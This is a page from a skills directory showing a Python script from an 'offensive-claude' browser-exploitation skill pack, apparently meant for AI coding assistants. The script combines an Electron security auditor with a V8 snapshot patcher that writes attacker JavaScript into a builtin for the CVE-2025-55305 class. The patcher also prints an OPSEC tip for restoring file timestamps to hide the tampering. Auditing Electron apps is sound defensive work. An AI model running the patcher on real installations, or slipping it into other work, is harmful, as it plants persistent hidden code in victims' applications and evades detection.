Skip to content

hypnguyen1209/offensive-claude / skills/browser-exploitation

browser-exploitation

Verified

Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains

scripts/electron_audit.py

View on GitHub
#!/usr/bin/env python3
"""
electron_audit.py — Electron app security auditor + V8-snapshot gadget patcher.

USAGE:
  # Audit an installed app's ASAR (or an app directory) for RCE-enabling misconfig:
  python3 electron_audit.py /path/to/app.asar
  python3 electron_audit.py /path/to/resources/app/         # unpacked dir

  # Patch a V8 snapshot blob to clobber a hot builtin (CVE-2025-55305 class):
  python3 electron_audit.py --snapshot-gadget v8_context_snapshot.bin \
      --gadget "Array.prototype.includes" --payload payload.js

PURPOSE:
  Flags the webPreferences / fuse / IPC issues that turn an XSS-class injection into native RCE:
    * nodeIntegration / contextIsolation / sandbox / webviewTag / webSecurity
    * contextBridge.exposeInMainWorld bridges and their exposed functions
    * ipcMain.handle/on handlers and dangerous sinks (child_process/exec/eval/require/Function)
    * Electron fuses (RunAsNode, EnableNodeCliInspect, OnlyLoadAppFromAsar,
      EnableEmbeddedAsarIntegrityValidation, EnableNodeOptionsEnvironmentVariable)
    * V8 snapshot blobs present and NOT integrity-checked (CVE-2025-55305 precondition)

DEPENDENCIES: python3.8+. For .asar input, the bundled minimal ASAR reader is used (no Node
  required); `npx asar extract` also works if you prefer. Snapshot patching is a byte-level
  gadget replacement and is best-effort (V8 snapshots are version-specific).
"""
import argparse, json, os, re, struct, sys, glob, hashlib

# ---------------------------------------------------------------------------
# Minimal ASAR reader (asar = 8-byte pickle header + JSON dir + concatenated files)
# ---------------------------------------------------------------------------
def asar_read_header(path):
    with open(path, "rb") as f:
        # Pickle: uint32 size_of(uint32 header_size) , then a string pickle of the JSON header.
        f.read(4)                                  # 0x04 00 00 00 (size of next uint32)
        (hdr_size_le,) = struct.unpack("<I", f.read(4))
        (json_size,)   = struct.unpack("<I", f.read(4))
        (json_len,)    = struct.unpack("<I", f.read(4))
        header = f.read(json_len).decode("utf-8", "ignore")
        base_offset = 16 + json_len
        return json.loads(header), base_offset

def asar_iter_files(header, base_offset, prefix=""):
    files = header.get("files", header)
    for name, node in files.items():
        path = f"{prefix}/{name}" if prefix else name
        if isinstance(node, dict) and "files" in node:
            yield from asar_iter_files(node, base_offset, path)
        elif isinstance(node, dict) and "offset" in node:
            yield path, int(node["offset"]), int(node.get("size", 0))

def asar_extract_file(asar_path, header, base_offset, rel):
    parts = rel.split("/")
    node = header.get("files", header)
    for p in parts:
        node = node["files"][p] if "files" in node else node[p]
    off, size = int(node["offset"]), int(node["size"])
    with open(asar_path, "rb") as f:
        f.seek(base_offset + off)
        return f.read(size)

# ---------------------------------------------------------------------------
# Findings
# ---------------------------------------------------------------------------
WEBPREF_RE = re.compile(r'webPreferences\s*:\s*\{([^}]*)\}', re.S)
FLAG_RES = {
    "nodeIntegration":   re.compile(r'nodeIntegration\s*:\s*(true|false)'),
    "contextIsolation":  re.compile(r'contextIsolation\s*:\s*(true|false)'),
    "sandbox":           re.compile(r'sandbox\s*:\s*(true|false)'),
    "webviewTag":        re.compile(r'webviewTag\s*:\s*(true|false)'),
    "webSecurity":       re.compile(r'webSecurity\s*:\s*(true|false)'),
    "enableRemoteModule":re.compile(r'enableRemoteModule\s*:\s*(true|false)'),
    "allowRunningInsecureContent": re.compile(r'allowRunningInsecureContent\s*:\s*(true|false)'),
}
BRIDGE_RE  = re.compile(r'exposeInMainWorld\s*\(\s*[\'"]([^\'"]+)[\'"]', re.S)
IPCMAIN_RE = re.compile(r'ipcMain\.(?:handle|on)\s*\(\s*[\'"]([^\'"]+)[\'"]')
SINK_RES = {
    "child_process": re.compile(r'child_process|\.exec\(|\.execSync\(|\.spawn\('),
    "eval":          re.compile(r'\beval\s*\('),
    "Function-ctor": re.compile(r'new\s+Function\s*\(|\.constructor\.constructor'),
    "dynamic-require": re.compile(r'require\s*\(\s*[^\'")]'),
    "shell.openExternal": re.compile(r'shell\.openExternal'),
    "loadURL-remote": re.compile(r'loadURL\s*\(\s*[\'"]https?://'),
}
FUSE_KEYS = ["RunAsNode", "EnableCookieEncryption", "EnableNodeOptionsEnvironmentVariable",
             "EnableNodeCliInspectArguments", "EnableEmbeddedAsarIntegrityValidation",
             "OnlyLoadAppFromAsar"]

def severity_for(flags, bridges, sinks):
    if flags.get("nodeIntegration") == "true":
        return "CRITICAL", "nodeIntegration:true -> any injected JS = RCE via require('child_process')"
    if flags.get("contextIsolation") == "false":
        return "CRITICAL", "contextIsolation:false -> prototype/builtin hijack reaches Node even with nodeIntegration:false"
    if flags.get("sandbox") == "false":
        return "HIGH", "sandbox:false -> a V8 bug (public n-day) = full host RCE (V8 patch-gap risk)"
    if flags.get("webviewTag") == "true":
        return "HIGH", "webviewTag:true -> <webview> can load a remote preload (file:/SMB/asar:) = RCE"
    if bridges and any(s for s in sinks.values()):
        return "HIGH", "contextBridge exposes APIs that reach dangerous sinks"
    if flags.get("webSecurity") == "false":
        return "MEDIUM", "webSecurity:false -> SOP/CORS disabled"
    return "INFO", "no obvious RCE-enabling misconfig found in scanned JS"

def audit(target):
    js_blobs = {}      # rel -> text
    snapshots = []
    if os.path.isfile(target) and target.endswith(".asar"):
        header, base = asar_read_header(target)
        for rel, off, size in asar_iter_files(header, base):
            if rel.endswith((".js", ".mjs", ".cjs", ".json")):
                try:
                    js_blobs[rel] = asar_extract_file(target, header, base, rel).decode("utf-8", "ignore")
                except Exception:
                    pass
        # snapshots usually sit beside the asar in resources/
        rdir = os.path.dirname(target)
        snapshots = glob.glob(os.path.join(rdir, "*.bin"))
    else:
        for p in glob.glob(os.path.join(target, "**", "*"), recursive=True):
            if p.endswith((".js", ".mjs", ".cjs", ".json")):
                try: js_blobs[os.path.relpath(p, target)] = open(p, "r", errors="ignore").read()
                except OSError: pass
            if p.endswith(".bin"):
                snapshots.append(p)

    flags, bridges, ipc, sinks, fuses = {}, [], [], {}, {}
    for rel, text in js_blobs.items():
        for wp in WEBPREF_RE.finditer(text):
            for name, rx in FLAG_RES.items():
                m = rx.search(wp.group(1))
                if m: flags[name] = m.group(1)
        bridges += [(rel, m.group(1)) for m in BRIDGE_RE.finditer(text)]
        ipc += [(rel, m.group(1)) for m in IPCMAIN_RE.finditer(text)]
        for sink, rx in SINK_RES.items():
            if rx.search(text): sinks.setdefault(sink, []).append(rel)
        for k in FUSE_KEYS:
            if k in text: fuses.setdefault(k, []).append(rel)

    sev, why = severity_for(flags, bridges, sinks)
    report = {
        "target": target, "files_scanned": len(js_blobs),
        "severity": sev, "reason": why,
        "webPreferences": flags,
        "contextBridge_exposed": [b for _, b in bridges],
        "ipcMain_channels": [c for _, c in ipc][:50],
        "dangerous_sinks": {k: sorted(set(v))[:5] for k, v in sinks.items()},
        "fuses_referenced": {k: sorted(set(v))[:3] for k, v in fuses.items()},
        "v8_snapshots_present": [os.path.basename(s) for s in snapshots],
    }
    if snapshots:
        report["snapshot_note"] = ("V8 snapshot present and NOT integrity-checked by ASAR fuses "
                                   "(CVE-2025-55305): local file-write -> attacker JS in every isolate.")
    print(json.dumps(report, indent=2))
    print(f"\n[=] severity={sev}  {why}", file=sys.stderr)
    return report

# ---------------------------------------------------------------------------
# V8 snapshot gadget patcher (CVE-2025-55305 class) — best-effort byte replacement
# ---------------------------------------------------------------------------
def snapshot_gadget(snapshot_path, gadget, payload_path):
    """
    Clobber a hot builtin's serialized source in the snapshot so attacker JS runs whenever the
    builtin is called. Snapshots are version-specific; this locates the gadget's name/source as
    a byte run and overwrites trailing bytes with the payload (kept <= original length).
    """
    blob = bytearray(open(snapshot_path, "rb").read())
    payload = open(payload_path, "rb").read() if os.path.isfile(payload_path) else payload_path.encode()
    needle = gadget.split(".")[-1].encode()        # e.g. b"includes"
    idx = blob.find(needle)
    if idx < 0:
        print(f"[-] gadget '{gadget}' not located in snapshot (version mismatch?)", file=sys.stderr)
        return 1
    # Find a writable source-string region after the name and splice the payload in-length.
    region = blob.find(b"function", idx)
    if region < 0: region = idx + len(needle)
    end = blob.find(b"\x00", region)
    if end < 0 or end - region < len(payload):
        print("[-] insufficient room to splice payload (keep payload <= original gadget source)",
              file=sys.stderr)
        return 1
    bak = snapshot_path + ".bak"
    if not os.path.exists(bak):
        open(bak, "wb").write(blob)
        print(f"[*] backup written: {bak}")
    blob[region:region + len(payload)] = payload
    open(snapshot_path, "wb").write(blob)
    print(f"[+] patched gadget '{gadget}' at offset {region} ({len(payload)} bytes).")
    print(f"[!] OPSEC: restore mtime with: touch -r {bak} {snapshot_path}")
    print(f"[*] sha256 now: {hashlib.sha256(blob).hexdigest()}")
    return 0

def main():
    ap = argparse.ArgumentParser(description="Electron app security auditor + snapshot patcher")
    ap.add_argument("target", nargs="?", help="app.asar or unpacked app directory to audit")
    ap.add_argument("--snapshot-gadget", metavar="SNAPSHOT.bin",
                    help="patch a V8 snapshot blob (CVE-2025-55305 class)")
    ap.add_argument("--gadget", default="Array.prototype.includes",
                    help="builtin to clobber (default: Array.prototype.includes)")
    ap.add_argument("--payload", default="globalThis.__pwn=1;",
                    help="payload JS file path or literal JS string")
    args = ap.parse_args()

    if args.snapshot_gadget:
        sys.exit(snapshot_gadget(args.snapshot_gadget, args.gadget, args.payload))
    if not args.target:
        ap.error("provide an app.asar / app dir to audit, or --snapshot-gadget")
    audit(args.target)

if __name__ == "__main__":
    main()
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 198kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall